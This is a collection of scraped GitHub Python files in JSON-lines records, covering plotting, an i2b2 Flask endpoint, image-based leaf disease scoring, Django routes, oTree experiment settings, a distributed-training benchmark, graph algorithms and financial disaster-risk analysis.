z in range(n_samples):\r\n plt.figure(z)\r\n \r\n plt.subplot(311)\r\n plt.plot(input_train_val[random_sample_indices_z[z]])\r\n plt.axis((0,len(input_train_val[random_sample_indices_z[z]]),min(input_train_val_concat),20))\r\n plt.title('train - Original Input %d' % (random_sample_indices_z[z]))\r\n plt.xlabel('time step (100 samples per sequence)')\r\n plt.ylabel('Accelerometer magnitude')\r\n \r\n plt.subplot(312)\r\n plt.plot(output_train_val[random_sample_indices_z[z]])\r\n plt.axis((0,len(output_train_val[random_sample_indices_z[z]]),min(input_train_val_concat),20))\r\n plt.title('train - Reconstructed Input %d' % (random_sample_indices_z[z]))\r\n plt.xlabel('time step (100 samples per sequence)')\r\n plt.ylabel('Accelerometer magnitude')\r\n \r\n \r\n plt.subplot(313)\r\n plt.plot(x,z_score[random_sample_indices_z[z]])\r\n plt.plot(x,mean_z_score_line_one_seq,'r--')\r\n plt.axis((0,len(z_score[random_sample_indices_z[z]]),0,30))\r\n plt.title('train - Sequence %d' % (random_sample_indices_z[z]))\r\n plt.xlabel('time step (100 samples per sequence)')\r\n plt.ylabel('Z-score')\r\n \r\n plt.subplots_adjust(top=0.99, bottom=0.01, left=0.01, right=0.99, hspace=0.8,wspace=0.5)\r\n plt.show()","repo_name":"jayavardhanr/unsupervised_seq2seq","sub_path":"code/anomalous_score/user10_accel_ae_result_z-score.py","file_name":"user10_accel_ae_result_z-score.py","file_ext":"py","file_size_in_byte":4466,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"5335648057","text":"from loguru import logger\nimport os\nimport pandas as pd\nfrom flask import make_response, jsonify\nfrom i2b2_cdi.loader import _exception_response\nimport json\nfrom i2b2_cdi.config.config import Config\nfrom datetime import datetime\nimport csv\nimport re \nfrom i2b2_cdi.database.cdi_database_connections import I2b2crcDataSource, I2b2metaDataSource\nimport numpy as np\nfrom i2b2_cdi.loader.validation_helper import validate_concept_cd,validate_path\n\ndef patientSet(request):\n try:\n login_project = request.headers.get('X-Project-Name')\n if login_project != 'Demo':\n crc_db_name = login_project\n ont_db_name = login_project\n else:\n crc_db_name = os.environ['CRC_DB_NAME']\n ont_db_name = os.environ['ONT_DB_NAME']\n \n config=Config().new_config(argv=['concept','load','--crc-db-name', crc_db_name, '--ont-db-name', ont_db_name]) \n crc_ds=I2b2crcDataSource(config)\n ont_ds=I2b2metaDataSource(config)\n crc_ds.database = crc_db_name\n ont_ds.database = ont_db_name\n if request.method == 'POST':\n data = request.data\n \n dict_str = data.decode(\"UTF-8\")\n data = json.loads(dict_str)\n \n code = data['code']\n path = data['path'] if 'path' in data else data['conceptPath']\n \n getCodePath(code=code, path=path)\n response = generate_csv(request.data,crc_db_name, ont_db_name) \n return response\n except Exception as err:\n return _exception_response(err)\n\ndef generate_csv(data, crc_db, ont_db):\n try:\n dict_str = data.decode(\"UTF-8\")\n data = json.loads(dict_str)\n \n code = data['code']\n\n path = data['path'] if 'path' in data else data['conceptPath']\n\n name = path.split('\\\\')[-2]\n \n description = data['description'] if 'description' in data else None\n \n unit = data['unit'] if 'unit' in data else None\n\n definitionType = data['definitionType'] if 'definitionType' in data else 'PATIENTSET'\n \n derived_type = data['type'] if 'type' in data else None\n sql = str(data['factQuery']) if 'factQuery' in data else ''\n depends_on = re.findall(\"where concept_path LIKE '(.*?)%'\", sql) \n\n if definitionType == 'PATIENTSET':\n derived_blob = {\n \"sql_query\" : sql,\n }\n if derived_type == 'TEXTUAL':\n concept_type = 'assertion'\n elif derived_type == 'NUMERIC':\n concept_type = 'float'\n else:\n concept_type = 'String'\n else:\n derived_blob = None\n concept_type = 'largeString'\n derived_blob = json.dumps(derived_blob)\n\n blob = data['blob'] if 'blob' in data else derived_blob\n \n response = {\n \"path\": path,\n \"code\": code,\n \"type\": derived_type,\n \"description\": description,\n \"unit\": unit,\n \"blob\": blob,\n \"defintionType\": definitionType\n }\n\n row = [['type','unit','path','name','code','description','definition_type','blob'],[concept_type,unit,path,name,code,description,definitionType,blob]]\n\n now = datetime.now()\n dfstring = now.strftime(\"%d-%m-%Y_%H:%M:%S%f\")\n if not os.path.exists(\"/usr/src/app/tmp/\"+dfstring):\n os.makedirs(\"/usr/src/app/tmp/\"+dfstring) \n filename = \"/usr/src/app/tmp/\"+dfstring+\"/patient_set_concepts.csv\"\n\n with open(filename, 'w') as csvfile: \n csvwriter = csv.writer(csvfile) \n csvwriter.writerows(row)\n print(csvwriter)\n response = make_response(jsonify(response))\n #Load derived_concept.csv using etl command\n config=Config().new_config(argv=['concept','load','--crc-db-name', crc_db, '--ont-db-name', ont_db, '--input-dir', '/usr/src/app/tmp/'+dfstring])\n import i2b2_cdi.concept.runner as concept_runner\n chkconcept=concept_runner.mod_run(config)\n response.status_code = 200\n return response\n except Exception as err:\n return _exception_response(err)\n\n@validate_concept_cd\n@validate_path\ndef getCodePath(code,path):\n pass\n\nif __name__ == \"__main__\":\n logger.success(\"SUCCESS\")\n \n","repo_name":"i2b2/i2b2-etl","sub_path":"i2b2_cdi/patient/createPatientSet.py","file_name":"createPatientSet.py","file_ext":"py","file_size_in_byte":4343,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"32"} +{"seq_id":"14126309735","text":"from SegmentaFolha import *\nfrom ExtracaoCaracteristicas import *\nfrom sklearn.neural_network import MLPClassifier\nfrom sklearn.preprocessing import MinMaxScaler\nfrom sklearn.externals import joblib\nfrom scipy import misc\nimport SegmentaLesoes\nimport matplotlib.pyplot as plt\nimport sys\nimport cv2\n\nNUM_ATTR = 41\nclass main:\n\n if __name__ == '__main__':\n\n a = [22,30,40,50,100,135,172,219,220,229]\n #b = [0,1,2,3,4,5]\n #c = [\"CbS\",\"Cb\",\"Cr\",\"H\",\"S\",\"V\"]\n\n #for i in xrange(len(a)):\n\n #maskPS = cv2.cvtColor(maskPS, cv2.COLOR_BGR2GRAY)\n #maskPS = np.logical_not(maskPS)\n #maskPS = np.logical_not(maskPS)\n\n #plt.imshow(maskPS, cmap=9999cm.Greys_r)\n #plt.show()\n\n erroK=0\n erroY=0\n for j in xrange(len(a)):\n print(\"------------Imagem \"+str(a[j])+\"--------------\")\n\n image = misc.imread(\"/home/giuliano/Documentos/UFES_2018_1/P.G/brancoLesoesMask/\" + \"A\"+str(a[j]) + \".png\")\n r,g,b = cv2.split(image)\n areaFolha = cv2.countNonZero(g)\n\n\n maskPS = cv2.imread(\"/home/giuliano/Documentos/UFES_2018_1/P.G/brancoLesoesMask/\" + str(a[j]) + \".png\",0)\n areaMaskP = cv2.countNonZero(maskPS)\n\n\n\n maskKmeans = cv2.imread(\"/home/giuliano/Documentos/UFES_2018_1/P.G/brancoLesoesMask/\" + str(a[j]) + \"_2.png\",0)\n areaMaskK = cv2.countNonZero(maskKmeans)\n\n\n maskY = cv2.imread(\"/home/giuliano/Documentos/UFES_2018_1/P.G/brancoLesoesMask/\" + str(a[j]) + \"_3.png\",0)\n areaMaskY = cv2.countNonZero(maskY)\n\n\n erroK = erroK + abs(1 - np.float32(areaFolha - areaMaskK) / np.float32(areaFolha - areaMaskP))\n erroY = erroY + abs(1 - np.float32(areaFolha - areaMaskY)/np.float32(areaFolha - areaMaskP))\n print(\"Severidade Photoshop:\"+str(np.float32(areaFolha-areaMaskP)/np.float32(areaFolha)))\n print(\"Area Esperada:\"+str(areaFolha-areaMaskP))\n print(\"Area Mask Kmeans:\"+str(areaMaskK))\n print(\"Erro Kmeans:\" + str(1 - np.float32(areaFolha - areaMaskK) / np.float32(areaFolha - areaMaskP)))\n print(\"Area Mask YCgCr:\" + str(areaMaskY))\n print(\"Erro YCgCr:\" + str(1 - np.float32(areaFolha - areaMaskY)/np.float32(areaFolha - areaMaskP)))\n\n\n\n #print(\"Severidade Kmeans:\" + str(round(np.float32(areaFolha-areaMaskK)/np.float32(areaFolha),3)*100))\n #print(\"Severidade YCgCr:\" + str(round(np.float32(areaFolha-areaMaskY)/np.float32(areaFolha),3)*100))\n\n\n print(\"----------------------------------------------\")\n\n print(\"Erro Medio YCgCr:\"+str(round(np.float(erroY)/10,3)))\n print(\"Erro Medio Kmeans:\" + str(round(np.float(erroK) / 10, 3)))\n\n #plt.imshow(result.astype(int),cmap=cm.Greys_r)\n #plt.show()\n\n\n\n\n\n\n\n\n\n\n","repo_name":"giulianoLacerda/projetoGraduacaoProcessamento","sub_path":"AvaliaSeveridade.py","file_name":"AvaliaSeveridade.py","file_ext":"py","file_size_in_byte":2852,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"24374698719","text":"from django.urls import path\nfrom . import views\nurlpatterns=[\n path('',views.index,name='index'),\n path('jobs/',views.jobs,name='jobs'),\n path('/',views.detail,name='detail'),\n path('post/',views.post,name='post'),\n path('addpost/',views.addpost,name='addpost'),\n path('contact/',views.contact,name='contact'),\n path('upload/',views.reg,name='reg'),\n path('addcondidate/',views.addcondidate,name='addcondidate'),\n path('addcompany/',views.addcompany,name='addcompany'),\n path('addconsultant',views.addconsultant,name='addconsultant'),\n path('login/',views.login,name='login'),\n path('log/',views.log,name='log'),\n path('apply',views.apply,name='apply'),\n path('appforjob',views.appforjob,name='appforjob'),\n]","repo_name":"ayush-aw/Job-Portal-project","sub_path":"myjobportal/job/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":763,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"30445743398","text":"def Bubble_sort(T):\r\n n=len(T)\r\n ile=0 # to dodatkowa zmienna liczaca liczbe porownan\r\n for i in range(n):\r\n for j in range(0, n-i-1):\r\n ile +=1\r\n if T[j] > T[j+1] :\r\n T[j], T[j+1] = T[j+1], T[j] #zamiana miejscami\r\n return T,ile\r\n\r\nA=[10,51,2,18,4,31,13,5,23,64,29,10,2]\r\n#A=[3,14,15,17,28,31,50,60]\r\n#A=[2,2,2,2,2]\r\n#A=[3,2,1]\r\n\r\nprint(A)\r\nprint(Bubble_sort(A))","repo_name":"PiotrBystron/SEMESTR_1_Zestaw_2_Algorytmy_i_struktury_danych","sub_path":"bubble_sort.py","file_name":"bubble_sort.py","file_ext":"py","file_size_in_byte":425,"program_lang":"python","lang":"pl","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"73967164890","text":"from os import environ\n\n# if you set a property in SESSION_CONFIG_DEFAULTS, it will be inherited by all configs\n# in SESSION_CONFIGS, except those that explicitly override it.\n# the session config can be accessed from methods in your apps as self.session.config,\n# e.g. self.session.config['participation_fee']\n\nAWS_ACCESS_KEY_ID = environ.get('AWS_ACCESS_KEY_ID')\nAWS_SECRET_ACCESS_KEY = environ.get('AWS_SECRET_ACCESS_KEY')\n\nmturk_hit_settings = {\n 'keywords': ['bonus', 'study', 'decision making'],\n 'title': 'The reward is $2.5! A decision making study (~30 minutes)',\n 'description': \"\"\"The study takes about 30 minutes. It consists of 10 trials, played one after the other.\n All trials will be played with the same partner. You will receive $2.5 plus bonus of $1,\n based on your performance. at the end of the experiment, you will be asked to answer one simple question\n to verify you indeed followed the experiment. If you do not answer it correctly, you will not get paid.\"\"\",\n 'frame_height': 700,\n 'template':'global/mturk_template.html',\n #'preview_template': 'global/MTurkPreview.html',\n 'minutes_allotted_per_assignment': 120,\n 'expiration_hours': 2*24, # 2 days\n # for first exp\n # 'grant_qualification_id': '3Q48MW141B1P6OKEQM2P7BMXSD2CM0', # '3Q48MW141B1P6OKEQM2P7BMXSD2CM0', #:mturk :sandbox, '3J48J1M4J73O984POHEYR7KF8ZK1VM', # to prevent retakes\n # 'qualification_requirements': [\n # {'QualificationTypeId': '3Q48MW141B1P6OKEQM2P7BMXSD2CM0',\n # 'Comparator': \"DoesNotExist\"},]\n # for text exp\n 'grant_qualification_id': '3J48J1M4J73O984POHEYR7KF8ZK1VM', # mturk:'3X9X2XMJQ5S9U7CCVS25R3WPXR7LQF',\n 'qualification_requirements': [\n {'QualificationTypeId': '3J48J1M4J73O984POHEYR7KF8ZK1VM',\n 'Comparator': \"DoesNotExist\"}, ]\n}\n\nSESSION_CONFIG_DEFAULTS = {\n 'real_world_currency_per_point': 1,\n 'participation_fee': 0.01,\n 'doc': \"\",\n 'mturk_hit_settings': mturk_hit_settings,\n}\n\nSESSION_CONFIGS = [\n\n# {\n# 'name': 'text_exp_verbal_cond',\n# 'display_name': 'text_exp_verbal_cond',\n# 'num_demo_participants': 1,\n# 'app_sequence': ['text_exp'],\n# 'use_browser_bots': False,\n# 'cond': 'verbal',\n# 'review_file_name': '10_reviews',\n# },\n# {\n# 'name': 'text_exp_bot',\n# 'display_name': 'text_exp_bot',\n# 'num_demo_participants': 1,\n# 'app_sequence': ['text_exp_bot'],\n# 'use_browser_bots': False,\n# 'cond': 'verbal',\n# 'review_file_name': '10_reviews',\n# },\n {\n 'name': 'text_exp_bot_bg',\n 'display_name': 'text_exp_bot_bg',\n 'num_demo_participants': 1,\n 'app_sequence': ['text_exp_bot_bg'],\n 'use_browser_bots': False,\n 'cond': 'verbal',\n 'review_file_name': '10_reviews',\n },\n \n]\n\n# ISO-639 code\n# for example: de, fr, ja, ko, zh-hans\nLANGUAGE_CODE = 'en'\n\n# e.g. EUR, GBP, CNY, JPY\nREAL_WORLD_CURRENCY_CODE = 'USD'\nUSE_POINTS = False\n\nROOMS = []\n\n\n# AUTH_LEVEL:\n# this setting controls which parts of your site are freely accessible,\n# and which are password protected:\n# - If it's not set (the default), then the whole site is freely accessible.\n# - If you are launching a study and want visitors to only be able to\n# play your app if you provided them with a start link, set it to STUDY.\n# - If you would like to put your site online in public demo mode where\n# anybody can play a demo version of your game, but not access the rest\n# of the admin interface, set it to DEMO.\n\n# for flexibility, you can set it in the environment variable OTREE_AUTH_LEVEL\nAUTH_LEVEL = environ.get('OTREE_AUTH_LEVEL')\n\nADMIN_USERNAME = 'admin'\n# for security, best to set admin password in an environment variable\nADMIN_PASSWORD = environ.get('OTREE_ADMIN_PASSWORD')\n\n\n# Consider '', None, and '0' to be empty/false\nDEBUG = (environ.get('OTREE_PRODUCTION') in {None, '', '0'})\n\nDEMO_PAGE_INTRO_HTML = \"\"\" \"\"\"\n\n# don't share this with anybody.\nSECRET_KEY = 'po+8u@u7sxo_ib@7*y8ea%9%@wd6c$ojo=c@fc%v&9((9yx8wf'\n\n# if an app is included in SESSION_CONFIGS, you don't need to list it here\nINSTALLED_APPS = [\n 'otree',\n 'radiogrid',\n]\n\nEXTENSION_APPS = [\n]\n\n","repo_name":"chkgk/new_tacl_rr","sub_path":"settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":4245,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"26887879453","text":"#!/usr/bin/env python3\n\nimport json\nimport os\nimport time\n\nimport tensorflow as tf\nfrom kungfu.tensorflow.ops import group_all_reduce\n\nfrom resnet50 import grad_sizes\n\n\ndef fake_get_shard_info():\n cluster_spec = json.loads(os.getenv('KUNGFU_CLUSTER_SPEC'))\n rank = int(os.getenv('KUNGFU_TEST_SELF_RANK'))\n cluster_size = len(cluster_spec['Peers'])\n return rank, cluster_size\n\n\ndef gen_fake_train_op(sizes):\n grads = []\n for size in sizes:\n grads.append(tf.Variable(tf.ones(shape=(size, ), dtype=tf.float32)))\n new_grads = group_all_reduce(grads)\n ops = []\n for g, new_g in zip(grads, new_grads):\n ops.append(tf.assign(g, new_g))\n return tf.group(ops)\n\n\ndef logEstimatedSpeed(batches, batchSize, dur, np):\n imgPerSec = batches * batchSize / dur\n print('Img/sec %.2f per worker, Img/sec %.2f per cluster, np=%d' %\n (imgPerSec, imgPerSec * np, np))\n\n\ndef fake_train(fake_train_op):\n rank, np = fake_get_shard_info()\n n_iters = 11\n steps_per_iter = 10\n with tf.Session() as sess:\n sess.run(tf.global_variables_initializer())\n t0 = time.time()\n step = 0\n for _ in range(n_iters):\n for _ in range(steps_per_iter):\n step += 1\n sess.run(fake_train_op)\n if rank == 0:\n print('after %d steps' % step)\n d = time.time() - t0\n if rank == 0:\n logEstimatedSpeed(n_iters * steps_per_iter, 32, d, np)\n\n\nfake_train_op = gen_fake_train_op(grad_sizes)\nfake_train(fake_train_op)\n","repo_name":"lsds/KungFu","sub_path":"tests/python/integration/fake_tf_trainer.py","file_name":"fake_tf_trainer.py","file_ext":"py","file_size_in_byte":1549,"program_lang":"python","lang":"en","doc_type":"code","stars":281,"dataset":"github-code","pt":"32"} +{"seq_id":"38204881797","text":"\ndef dijkstra(grafo, inicio, fim):\n # Inicializa os valores dos vértices\n distancias = {vertice: float('inf') for vertice in grafo}\n distancias[inicio] = 0\n visitados = set()\n nao_visitados = set(grafo.keys())\n\n while nao_visitados:\n # Seleciona o vértice não visitado com menor distância\n atual = min(nao_visitados, key=lambda vertice: distancias[vertice])\n\n # Verifica se chegou ao fim\n if atual == fim:\n return distancias[fim]\n\n # Atualiza a distância para cada vizinho do vértice atual\n for vizinho, peso in grafo[atual].items():\n if vizinho in visitados:\n continue\n nova_distancia = distancias[atual] + peso\n if nova_distancia < distancias[vizinho]:\n distancias[vizinho] = nova_distancia\n\n # Marca o vértice atual como visitado\n visitados.add(atual)\n nao_visitados.remove(atual)\n\n # Se não há caminho entre o início e o fim, retorna None\n return None\n\n\ngrafo = {\n 'A': {'B': 2, 'C': 3},\n 'B': {'A': 2, 'D': 4},\n 'C': {'A': 3, 'D': 1},\n 'D': {'B': 4, 'C': 1}\n}\n\ninicio = 'A'\nfim = 'D'\ndistancia_minima = dijkstra(grafo, inicio, fim)\nprint(distancia_minima)","repo_name":"projeto-de-algoritmos/Grafos2-exerciciosweb","sub_path":"Dijktra/Dijkstra.py","file_name":"Dijkstra.py","file_ext":"py","file_size_in_byte":1243,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"42446715713","text":"from upstream_viz_lib.common.comments import Comments\nfrom upstream_viz_lib.config import get_data_conf\nfrom pandas import DataFrame\n\nfrom upstream_viz_lib.pages.well.analysis.static import format_all_comments\n\ndata_config = get_data_conf()\ncomments_path = data_config[\"comments\"]\nDEFAULT_COMMENT_SALT = 0\n\n\ndef load_comments():\n return Comments(\n source=comments_path,\n keys=[\"__deposit\", \"__well_num\"],\n salt=DEFAULT_COMMENT_SALT\n )\n\n\ndef filter_comments_by_deposit_and_well_num(df_comments: DataFrame, deposit: str, well_num: str) -> DataFrame:\n \"\"\"\n upstream-viz upstream-viz/pages/well/analysis/comments_helper.py 26\n Filter dataframe by deposit name and well num\n Args:\n df_comments (DataFrame): comments dataframe\n deposit (str): deposit name\n well_num (int): well num\n Returns:\n DataFrame: filtered dataframe\n \"\"\"\n well_filter = (df_comments[\"__deposit\"] == deposit) & (df_comments[\"__well_num\"] == well_num)\n df_well_comments = df_comments[well_filter]\n return df_well_comments\n","repo_name":"ISGNeuroTeam/upstream-viz-lib","sub_path":"upstream_viz_lib/pages/well/analysis/comments_helper.py","file_name":"comments_helper.py","file_ext":"py","file_size_in_byte":1070,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"28345851567","text":"\"\"\"\n\n\"\"\"\n\nimport seaborn as sns\nfrom functools import reduce\n\n\n####################################################################\n#\n####################################################################\ndisaster_factors = pd.read_csv(\"estimated_data/disaster_risk_measures/disaster_risk_measures.csv\")\ndisaster_factors[\"date\"] = pd.to_datetime(disaster_factors[\"date\"])\nlevel = disaster_factors[(disaster_factors.level == \"Ind\") &\n (disaster_factors.maturity == \"level\") &\n (disaster_factors.variable == \"D_clamp\")]\n\nlevel = level[[\"date\", \"value\"]].set_index(\"date\")\n\nax = level.plot()\nax.set_xlabel(\"\")\nax.get_legend().remove()\nplt.tight_layout()\nplt.savefig(\"SS_figures/level_factor.pdf\")\n\n####################################################################\n# Figure where compare with other measures\n####################################################################\n# 1. VIX:\nvix_archive = pd.read_csv(\"data/VIX/vixarchive.csv\")\nvix_archive = vix_archive[[\"Date\", \"VIX Close\"]].rename(columns = {\"Date\":\"date\", \"VIX Close\":\"VIX\"})\nvix_archive[\"date\"]= pd.to_datetime(vix_archive[\"date\"])\n\nvix_current = pd.read_csv(\"data/VIX/vixcurrent.csv\")\nvix_current = vix_current[[\"Date\", \"VIX Close\"]].rename(columns = {\"Date\":\"date\", \"VIX Close\":\"VIX\"})\nvix_current[\"date\"]= pd.to_datetime(vix_current[\"date\"])\n\nvix = vix_archive.append(vix_current)\nvix.to_csv(\"data/VIX_full.csv\", index = False)\nvix[\"date_mon\"] = vix[\"date\"] + pd.offsets.MonthEnd(0)\nvix_mon_mean = vix.groupby(\"date_mon\").VIX.mean()\n\n# 2. Shiller's P/D\nshiller_pd = pd.read_csv(\"data/shiller_pd.csv\")\nshiller_pd[\"Date\"] = pd.DatetimeIndex(start = \"1871-01-01\", freq = \"M\", periods = shiller_pd.shape[0])\nshiller_pd[\"D/P\"] = shiller_pd[\"D\"]/shiller_pd[\"P\"]\nshiller_pd = shiller_pd[[\"Date\", \"D/P\"]].set_index(\"Date\")\nplt.plot(shiller_pd)\n\n# 3. Disaster measure derived from S&P options:\ncomb_disaster_df = pd.read_csv(\"estimated_data/disaster-risk-series/combined_disaster_df.csv\")\nsp_D = comb_disaster_df[(comb_disaster_df.level == \"sp_500_OM\") & (comb_disaster_df[\"var\"] == \"D_clamp\")]\nsp_D = sp_D.groupby(\"date\").value.mean().rename(\"sp_500_D\")\n\n# 4. Replicating Cochrane and Piazzesi forward factor:\nzcb_df = pd.read_csv(\"data/fama_bliss_zero_yields.csv\")\nzcb_df.dropna(inplace = True)\nzcb_df.replace({\"KYTREASNOX\":{2000047:\"p1\", 2000048:\"p2\", 2000049:\"p3\", 2000050:\"p4\", 2000051:\"p5\"}}, inplace = True)\nzcb_df.columns = [\"m\", \"date\", \"price\"]\nzcb_df[\"date\"] = pd.to_datetime(zcb_df[\"date\"])\nzcb_df = pd.pivot_table(zcb_df, index = \"date\", columns = \"m\", values = \"price\")\nzcb_df = zcb_df/100\n\nzcb_df[\"y1\"] = 0 - np.log(zcb_df[\"p1\"]) \nzcb_df[\"f2\"] = np.log(zcb_df[\"p1\"]) - np.log(zcb_df[\"p2\"])\nzcb_df[\"f3\"] = np.log(zcb_df[\"p2\"]) - np.log(zcb_df[\"p3\"])\nzcb_df[\"f4\"] = np.log(zcb_df[\"p3\"]) - np.log(zcb_df[\"p4\"])\nzcb_df[\"f5\"] = np.log(zcb_df[\"p4\"]) - np.log(zcb_df[\"p5\"])\n\nzcb_df[\"p1_lead\"] = zcb_df[\"p1\"].shift(-12)\nzcb_df[\"p2_lead\"] = zcb_df[\"p2\"].shift(-12)\nzcb_df[\"p3_lead\"] = zcb_df[\"p3\"].shift(-12)\nzcb_df[\"p4_lead\"] = zcb_df[\"p4\"].shift(-12)\n\nzcb_df[\"r2\"] = np.log(zcb_df[\"p1_lead\"]) - np.log(zcb_df[\"p2\"])\nzcb_df[\"r3\"] = np.log(zcb_df[\"p2_lead\"]) - np.log(zcb_df[\"p3\"])\nzcb_df[\"r4\"] = np.log(zcb_df[\"p3_lead\"]) - np.log(zcb_df[\"p4\"])\nzcb_df[\"r5\"] = np.log(zcb_df[\"p4_lead\"]) - np.log(zcb_df[\"p5\"])\n\nzcb_df[\"rx2\"] = zcb_df[\"r2\"] - zcb_df[\"y1\"]\nzcb_df[\"rx3\"] = zcb_df[\"r3\"] - zcb_df[\"y1\"]\nzcb_df[\"rx4\"] = zcb_df[\"r4\"] - zcb_df[\"y1\"]\nzcb_df[\"rx5\"] = zcb_df[\"r5\"] - zcb_df[\"y1\"]\nzcb_df[\"rx_bar\"] = 0.25*(zcb_df[\"rx2\"] + zcb_df[\"rx3\"] + zcb_df[\"rx4\"] + zcb_df[\"rx5\"])\n\nsmf.ols(formula = \"rx_bar ~ y1 + f2 + f3 + f4 + f5\", data = zcb_df[(zcb_df.index>=\"1964-01-01\")&(zcb_df.index<=\"2003-12-31\")]).fit().summary()\n\n# Using Cochrane Piazzesi estimates to construct the factor\nzcb_df[\"CP_factor_original\"] = -(-3.24 - 2.14*zcb_df[\"y1\"] + 0.81*zcb_df[\"f2\"] + 3*zcb_df[\"f3\"] + 0.8*zcb_df[\"f4\"]-3.08*zcb_df[\"f5\"])\n\n# Reestimating CP regression using data through 2019:\n#CP_new_params = smf.ols(formula = \"rx_bar ~ y1 + f2 + f3 + f4 + f5\", data = zcb_df[zcb_df.index>=\"1964-01-01\"]).fit().params\n#zcb_df[\"CP_factor_extended\"] = -1*(CP_new_params[0] + np.sum(zcb_df[[\"y1\", \"f2\", \"f3\", \"f4\", \"f5\"]]*np.tile(np.array(CP_new_params[1:6]), (zcb_df.shape[0],1)), axis = 1))\n\n# subtracting the mean from CP factors:\nzcb_df[\"CP_factor_original\"] = zcb_df[\"CP_factor_original\"] - np.mean(zcb_df[\"CP_factor_original\"])\n#zcb_df[\"CP_factor_extended\"] = zcb_df[\"CP_factor_extended\"] - np.mean(zcb_df[\"CP_factor_extended\"])\n\n# Calculating term premium as 10yr-2yr rate:\nrate2 = pd.read_csv(\"data/DGS2.csv\",na_values='.')\nrate10 = pd.read_csv(\"data/DGS10.csv\",na_values='.')\n\nrate2[\"DATE\"] = pd.to_datetime(rate2[\"DATE\"])\nrate2[\"date_mon\"] = rate2[\"DATE\"] + pd.offsets.MonthEnd(0)\nrate2 = rate2.groupby(\"date_mon\")[\"DGS2\"].last()/100\n\nrate10[\"DATE\"] = pd.to_datetime(rate10[\"DATE\"])\nrate10[\"date_mon\"] = rate10[\"DATE\"] + pd.offsets.MonthEnd(0)\nrate10 = rate10.groupby(\"date_mon\")[\"DGS10\"].last()/100\ntp = pd.merge(rate2, rate10, left_index = True, right_index = True)\ntp[\"TP\"] = tp[\"DGS10\"] - tp[\"DGS2\"]\n\n# Combining together:\nall_df = reduce(lambda df1, df2: pd.merge(df1, df2, left_index = True, right_index = True), \n [level, sp_D, vix_mon_mean, shiller_pd, \n zcb_df[\"CP_factor_original\"], tp[\"TP\"] ])\nall_df.columns = [\"Level D\", \"S&P 500 D\", \"VIX\", \"Shiller's D/P\", \"CP\", \"Term Premium\"]\n\nfor icol in range(len(all_df.columns)):\n all_df.iloc[:, icol] = all_df.iloc[:, icol]/np.std(all_df.iloc[:, icol])\n \nax = all_df[[\"Level D\", \"S&P 500 D\", \"VIX\", \"Shiller's D/P\"]].plot(figsize = (6,4), alpha = 0.8)\nax.legend(loc='upper left', frameon=False)\nplt.tight_layout()\nplt.savefig(\"SS_figures/compare_D_to_fin_market_indicators_1.pdf\")\n\nax = all_df[[\"Level D\", \"CP\", \"Term Premium\"]].plot(figsize = (6,4), alpha = 0.8)\nax.legend(loc='upper left', frameon=False)\nplt.tight_layout()\nplt.savefig(\"SS_figures/compare_D_to_fin_market_indicators_2.pdf\")\n\n####################################################################\n# Table with correlation in first differences between measures\n####################################################################\ncorr_diff = all_df.diff().corr().round(3)\npath = \"SS_tables/corr_D_fin_market_indicators.tex\"\nf = open(path, \"w\")\nf.write(corr_diff.to_latex(column_format = \"lccccccc\"))\nf.close()\n\n####################################################################\n# Figure with zooming in on Dot-com bubble and daily data\n####################################################################\nint_d = pd.DataFrame(columns = [\"secid\", \"date\", \"D_clamp\"])\n \nfor days in [30, 60, 90, 120, 150, 180]:\n print(days)\n int_d_to_append = pd.read_csv(\"estimated_data/interpolated_D/int_ind_disaster_union_cs_\" + str(days) + \".csv\")\n int_d_to_append = int_d_to_append[[\"secid\", \"date\", \"D_clamp\", \"rn_prob_20\", \"rn_prob_80\"]]\n int_d_to_append[\"days\"] = days\n int_d = int_d.append(int_d_to_append)\n\nint_d[\"date\"] = pd.to_datetime(int_d[\"date\"])\nint_d[\"date_mon\"] = int_d[\"date\"] + pd.offsets.MonthEnd(0)\nint_d[\"date_week\"] = int_d['date'] - int_d['date'].dt.weekday.astype('timedelta64[D]')\n\nlevel_daily = int_d.dropna().groupby([\"date\"])[\"D_clamp\"].apply(mean_with_truncation).rename(\"D_clamp\")\nlevel_factors_daily = pd.merge(level_daily, int_spx.groupby(\"date\")[\"D_clamp\"].mean(),\n left_index = True, right_index = True)\nlevel_factors_daily.columns = [\"Individual\", \"SPX\"]\n\n# Daily disaster series:\ndot_com_daily = level_factors_daily[\n (level_factors_daily.index >= \"1998-01-01\") &\n (level_factors_daily.index <= \"2003-12-31\")]\ndot_com_daily.plot(alpha = 0.85)\nax.set_xlabel(\"\")\nplt.tight_layout()\nplt.savefig(\"SS_figures/zoom_dot_com_daily.pdf\")\n\ngreat_recession_daily = level_factors_daily[\n (level_factors_daily.index >= \"2007-01-01\") &\n (level_factors_daily.index <= \"2009-12-31\")]\ngreat_recession_daily.plot(alpha = 0.85)\nax.set_xlabel(\"\")\nplt.tight_layout()\nplt.savefig(\"SS_figures/zoom_great_recession_daily.pdf\")\n\n\n####################################################################\n# Table with statistics on portfolio returns\nvariable = \"D_clamp\"\nmaturity = \"level\"\nlevel = \"Ind\"\n\n# Getting info on raw returns and disaster measure\nport_ret = pd.read_csv(\"estimated_data/disaster_sorts/port_sort_ret.csv\").rename(columns = {\"Unnamed: 0\":\"date\"})\nport_ret = port_ret[(port_ret.variable == variable) & (port_ret.maturity == maturity) & (port_ret.level == level)]\nport_ret[\"date\"] = pd.to_datetime(port_ret[\"date\"])\n\n# Adding NBER recession indicator:\nport_ret[\"rec\"] = np.where(\n (port_ret[\"date\"] >= \"2001-04-01\") & (port_ret[\"date\"] < \"2001-12-01\") |\n (port_ret[\"date\"] >= \"2008-01-01\") & (port_ret[\"date\"] < \"2009-07-01\"), 1, 0)\n\ndis_measures = 